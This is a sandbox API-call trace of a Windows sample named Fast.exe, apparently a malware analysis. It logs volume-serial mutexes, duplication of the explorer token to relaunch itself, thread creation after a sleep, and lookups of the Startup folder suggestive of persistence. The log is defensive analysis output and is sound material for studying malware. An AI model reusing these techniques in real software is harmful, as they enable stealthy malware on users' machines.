# Flog Txt Version 1 # Analyzer Version: 3.2.1 # Analyzer Build Date: Feb 5 2020 10:35:20 # Log Creation Date: 11.02.2020 11:42:05.604 Process: id = "1" image_name = "fast.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe" page_root = "0x3475a000" os_pid = "0xa84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x444" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa74 [0053.879] GetProcessHeap () returned 0x550000 [0053.879] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x55eb60 [0053.879] GetProcessHeap () returned 0x550000 [0053.880] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3a80) returned 0x5660e8 [0053.896] GetProcessHeap () returned 0x550000 [0053.896] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x300) returned 0x569b70 [0053.896] GetProcessHeap () returned 0x550000 [0053.897] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10) returned 0x561658 [0053.897] GetTickCount () returned 0x11581be [0053.897] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x28fe08, cchData=32 | out: lpLCData="\x03") returned 16 [0053.901] GetProcessHeap () returned 0x550000 [0053.901] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563a48 [0053.902] GetProcessHeap () returned 0x550000 [0053.902] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569eb0 [0053.902] GetProcessHeap () returned 0x550000 [0053.902] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a0c8 [0053.902] GetProcessHeap () returned 0x550000 [0053.902] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a2e0 [0053.902] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56a2e0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0053.902] GetProcessHeap () returned 0x550000 [0053.902] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a2e0 | out: hHeap=0x550000) returned 1 [0053.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jukse.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jukse.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0053.903] GetProcessHeap () returned 0x550000 [0053.903] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569eb0 | out: hHeap=0x550000) returned 1 [0053.903] GetProcessHeap () returned 0x550000 [0053.903] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a0c8 | out: hHeap=0x550000) returned 1 [0053.903] GetProcessHeap () returned 0x550000 [0053.904] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563a48 | out: hHeap=0x550000) returned 1 [0053.904] GetVersion () returned 0x1db10106 [0053.904] GetCurrentProcess () returned 0xffffffff [0053.904] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28fd9c | out: TokenHandle=0x28fd9c*=0xa0) returned 1 [0053.904] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x14, TokenInformation=0x28fd94, TokenInformationLength=0x4, ReturnLength=0x28fd98 | out: TokenInformation=0x28fd94, ReturnLength=0x28fd98) returned 1 [0053.904] CloseHandle (hObject=0xa0) returned 1 [0053.904] GetProcessHeap () returned 0x550000 [0053.904] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563a48 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x569eb0 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a0c8 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569eb0 | out: hHeap=0x550000) returned 1 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a0c8 | out: hHeap=0x550000) returned 1 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x563a98 [0053.905] GetProcessHeap () returned 0x550000 [0053.905] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x563ac0 [0053.906] GetProcessHeap () returned 0x550000 [0053.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x563ae8 [0053.906] GetProcessHeap () returned 0x550000 [0053.906] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x569eb0 [0053.906] GetProcessHeap () returned 0x550000 [0053.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569eb0 | out: hHeap=0x550000) returned 1 [0053.906] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x563ac0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.906] GetProcessHeap () returned 0x550000 [0053.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563ae8 | out: hHeap=0x550000) returned 1 [0053.906] GetProcessHeap () returned 0x550000 [0053.906] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563a98 | out: hHeap=0x550000) returned 1 [0053.907] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd54, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd54*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.908] GetProcessHeap () returned 0x550000 [0053.908] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563ac0 | out: hHeap=0x550000) returned 1 [0053.908] GetProcessHeap () returned 0x550000 [0053.908] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x569eb0 [0053.908] GetProcessHeap () returned 0x550000 [0053.908] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x26) returned 0x569ee8 [0053.908] GetProcessHeap () returned 0x550000 [0053.908] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x569ee8, Size=0x4a) returned 0x569ee8 [0053.908] GetProcessHeap () returned 0x550000 [0053.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569eb0 | out: hHeap=0x550000) returned 1 [0053.909] GetProcessHeap () returned 0x550000 [0053.909] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569ee8 | out: hHeap=0x550000) returned 1 [0053.909] GetProcessHeap () returned 0x550000 [0053.909] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1c) returned 0x563ac0 [0053.909] GetProcessHeap () returned 0x550000 [0053.909] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1c) returned 0x563ae8 [0053.909] GetProcessHeap () returned 0x550000 [0053.909] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569ec8 [0053.909] GetProcessHeap () returned 0x550000 [0053.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569ef0 [0053.910] GetProcessHeap () returned 0x550000 [0053.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569f18 [0053.910] GetProcessHeap () returned 0x550000 [0053.910] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a6b0 [0053.910] GetProcessHeap () returned 0x550000 [0053.910] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0053.910] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.910] GetProcessHeap () returned 0x550000 [0053.910] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569f18 | out: hHeap=0x550000) returned 1 [0053.910] GetProcessHeap () returned 0x550000 [0053.910] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569ec8 | out: hHeap=0x550000) returned 1 [0053.911] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd3c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd3c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.911] GetProcessHeap () returned 0x550000 [0053.911] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569ef0 | out: hHeap=0x550000) returned 1 [0053.911] GetProcessHeap () returned 0x550000 [0053.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563e20 [0053.911] GetProcessHeap () returned 0x550000 [0053.911] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563e68 [0053.911] GetProcessHeap () returned 0x550000 [0053.912] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563e68, Size=0x72) returned 0x55f880 [0053.912] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0053.912] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xa0 [0053.912] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0x0) returned 0x0 [0053.912] GetProcessHeap () returned 0x550000 [0053.912] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563e20 | out: hHeap=0x550000) returned 1 [0053.912] GetProcessHeap () returned 0x550000 [0053.912] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f880 | out: hHeap=0x550000) returned 1 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x569ec8 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x569ef0 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x569f18 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56a6b0 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0053.913] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x569ef0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0053.913] GetProcessHeap () returned 0x550000 [0053.913] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569f18 | out: hHeap=0x550000) returned 1 [0053.914] GetProcessHeap () returned 0x550000 [0053.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569ec8 | out: hHeap=0x550000) returned 1 [0053.914] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd24, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd24*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0053.914] GetProcessHeap () returned 0x550000 [0053.914] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x569ef0 | out: hHeap=0x550000) returned 1 [0053.914] GetProcessHeap () returned 0x550000 [0053.914] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563e20 [0053.914] GetProcessHeap () returned 0x550000 [0053.915] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3a) returned 0x563e68 [0053.915] GetProcessHeap () returned 0x550000 [0053.915] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563e68, Size=0x72) returned 0x55f880 [0053.915] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000000") returned 0x0 [0053.915] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000000") returned 0xa4 [0053.915] WaitForSingleObject (hHandle=0xa4, dwMilliseconds=0x0) returned 0x0 [0053.915] GetProcessHeap () returned 0x550000 [0053.915] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563e20 | out: hHeap=0x550000) returned 1 [0053.915] GetProcessHeap () returned 0x550000 [0053.916] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f880 | out: hHeap=0x550000) returned 1 [0053.916] ReleaseMutex (hMutex=0xa4) returned 1 [0053.916] CloseHandle (hObject=0xa4) returned 1 [0053.916] GetProcessHeap () returned 0x550000 [0053.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x30) returned 0x56a6b0 [0053.916] GetProcessHeap () returned 0x550000 [0053.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20a) returned 0x56a6e8 [0053.916] GetVersion () returned 0x1db10106 [0053.916] GetProcessHeap () returned 0x550000 [0053.916] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56a900 [0053.916] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0053.917] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0053.917] Wow64DisableWow64FsRedirection (in: OldValue=0x28fd78 | out: OldValue=0x28fd78*=0x0) returned 1 [0053.917] GetProcessHeap () returned 0x550000 [0053.917] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a900 | out: hHeap=0x550000) returned 1 [0053.917] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x754b0000 [0053.917] GetProcAddress (hModule=0x754b0000, lpProcName="CreateProcessWithTokenW") returned 0x754f531f [0053.917] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x56a6e8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fast.exe")) returned 0x2e [0053.918] GetShellWindow () returned 0x10100 [0053.918] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x28fd84 | out: lpdwProcessId=0x28fd84) returned 0x448 [0053.919] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0xa4 [0053.919] OpenProcessToken (in: ProcessHandle=0xa4, DesiredAccess=0x2000000, TokenHandle=0x28fd94 | out: TokenHandle=0x28fd94*=0xa8) returned 1 [0053.919] DuplicateTokenEx (in: hExistingToken=0xa8, dwDesiredAccess=0x2000000, lpTokenAttributes=0x28fd5c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x28fd98 | out: phNewToken=0x28fd98*=0xac) returned 1 [0053.920] CreateProcessWithTokenW (in: hToken=0xac, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Fast.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x28fd10*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x28fd68 | out: lpCommandLine=0x0, lpProcessInformation=0x28fd68*(hProcess=0xf8, hThread=0xfc, dwProcessId=0x87c, dwThreadId=0xa34)) returned 1 [0054.115] GetProcessHeap () returned 0x550000 [0054.115] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x50) returned 0x56ec18 [0054.116] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76e10000 [0054.116] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x76e3d668 [0054.116] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0054.116] GetProcessHeap () returned 0x550000 [0054.116] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0054.116] CloseHandle (hObject=0xa4) returned 1 [0054.116] CloseHandle (hObject=0xf8) returned 1 [0054.116] CloseHandle (hObject=0xfc) returned 1 [0054.117] CloseHandle (hObject=0xa8) returned 1 [0054.117] CloseHandle (hObject=0xac) returned 1 [0054.117] GetProcessHeap () returned 0x550000 [0054.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6e8 | out: hHeap=0x550000) returned 1 [0054.117] GetProcessHeap () returned 0x550000 [0054.117] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a6b0 | out: hHeap=0x550000) returned 1 [0054.117] Sleep (dwMilliseconds=0x1388) [0060.111] GetProcessHeap () returned 0x550000 [0060.111] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xd0) returned 0x56ecf8 [0060.111] GetProcessHeap () returned 0x550000 [0060.112] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0xc3) returned 0x56e8e8 [0060.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d4a72, lpParameter=0x56e8e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0060.115] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0060.115] CloseHandle (hObject=0xac) returned 1 [0060.115] GetProcessHeap () returned 0x550000 [0060.116] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ecf8 | out: hHeap=0x550000) returned 1 [0060.116] GetProcessHeap () returned 0x550000 [0060.116] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56ec18 [0060.116] GetProcessHeap () returned 0x550000 [0060.116] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x5c) returned 0x56b490 [0060.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2d4a72, lpParameter=0x56b490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xac [0060.119] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x0) returned 0x102 [0060.119] CloseHandle (hObject=0xac) returned 1 [0060.119] GetProcessHeap () returned 0x550000 [0060.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56ec18 | out: hHeap=0x550000) returned 1 [0060.119] GetProcessHeap () returned 0x550000 [0060.119] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a1e8 [0060.119] GetProcessHeap () returned 0x550000 [0060.119] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a378 [0060.120] GetProcessHeap () returned 0x550000 [0060.120] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a260 [0060.120] GetProcessHeap () returned 0x550000 [0060.120] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.120] GetProcessHeap () returned 0x550000 [0060.120] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.120] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x56a378, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0060.120] GetProcessHeap () returned 0x550000 [0060.120] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.120] GetProcessHeap () returned 0x550000 [0060.120] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a1e8 | out: hHeap=0x550000) returned 1 [0060.120] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x28fd5c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x28fd5c*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0060.121] GetProcessHeap () returned 0x550000 [0060.121] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.121] GetProcessHeap () returned 0x550000 [0060.121] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x60) returned 0x56ec18 [0060.121] GetProcessHeap () returned 0x550000 [0060.121] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x20) returned 0x56a378 [0060.121] GetProcessHeap () returned 0x550000 [0060.121] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x1e) returned 0x56a1e8 [0060.121] GetProcessHeap () returned 0x550000 [0060.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x1e) returned 0x56a260 [0060.122] GetProcessHeap () returned 0x550000 [0060.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.122] GetProcessHeap () returned 0x550000 [0060.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.122] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x56a1e8, nSize=0xf | out: lpDst="") returned 0x2c [0060.122] GetProcessHeap () returned 0x550000 [0060.122] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a260 | out: hHeap=0x550000) returned 1 [0060.122] GetProcessHeap () returned 0x550000 [0060.122] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x56a1e8, Size=0x3a) returned 0x563f88 [0060.122] GetProcessHeap () returned 0x550000 [0060.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3a) returned 0x563fd0 [0060.122] GetProcessHeap () returned 0x550000 [0060.122] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.122] GetProcessHeap () returned 0x550000 [0060.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.123] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x563f88, nSize=0x1d | out: lpDst="") returned 0x2c [0060.123] GetProcessHeap () returned 0x550000 [0060.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x563fd0 | out: hHeap=0x550000) returned 1 [0060.123] GetProcessHeap () returned 0x550000 [0060.123] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563f88, Size=0x72) returned 0x55f880 [0060.123] GetProcessHeap () returned 0x550000 [0060.123] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x72) returned 0x55f900 [0060.123] GetProcessHeap () returned 0x550000 [0060.123] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.123] GetProcessHeap () returned 0x550000 [0060.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.123] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x55f880, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0060.124] GetProcessHeap () returned 0x550000 [0060.124] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x55f900 | out: hHeap=0x550000) returned 1 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56a378 | out: hHeap=0x550000) returned 1 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x40) returned 0x563f88 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x3e) returned 0x563fd0 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x3e) returned 0x564018 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e038 [0060.124] GetProcessHeap () returned 0x550000 [0060.124] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561790 [0060.124] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.125] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x564018, lpcbData=0x28fc80*=0x3e | out: lpType=0x28fc78*=0x2, lpData=0x564018*=0x5c, lpcbData=0x28fc80*=0x98) returned 0xea [0060.125] RegCloseKey (hKey=0xa8) returned 0x0 [0060.125] GetProcessHeap () returned 0x550000 [0060.126] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.126] GetProcessHeap () returned 0x550000 [0060.126] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e038 | out: hHeap=0x550000) returned 1 [0060.126] GetProcessHeap () returned 0x550000 [0060.126] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x564018 | out: hHeap=0x550000) returned 1 [0060.126] GetProcessHeap () returned 0x550000 [0060.126] RtlReAllocateHeap (Heap=0x550000, Flags=0x0, Ptr=0x563fd0, Size=0x7a) returned 0x56e038 [0060.126] GetProcessHeap () returned 0x550000 [0060.126] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x7a) returned 0x56ecf8 [0060.126] GetProcessHeap () returned 0x550000 [0060.126] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x90) returned 0x56e9b8 [0060.127] GetProcessHeap () returned 0x550000 [0060.127] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x10) returned 0x561790 [0060.127] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x28fc7c | out: phkResult=0x28fc7c*=0xa8) returned 0x0 [0060.127] RegQueryValueExW (in: hKey=0xa8, lpValueName="Startup", lpReserved=0x0, lpType=0x28fc78, lpData=0x56ecf8, lpcbData=0x28fc80*=0x7a | out: lpType=0x28fc78*=0x2, lpData=0x56ecf8*=0xb8, lpcbData=0x28fc80*=0x98) returned 0xea [0060.127] RegCloseKey (hKey=0xa8) returned 0x0 [0060.127] GetProcessHeap () returned 0x550000 [0060.127] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x561790 | out: hHeap=0x550000) returned 1 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x56e9b8 | out: hHeap=0x550000) returned 1 [0060.128] GetProcessHeap () returned 0x550000 [0060.128] HeapFree 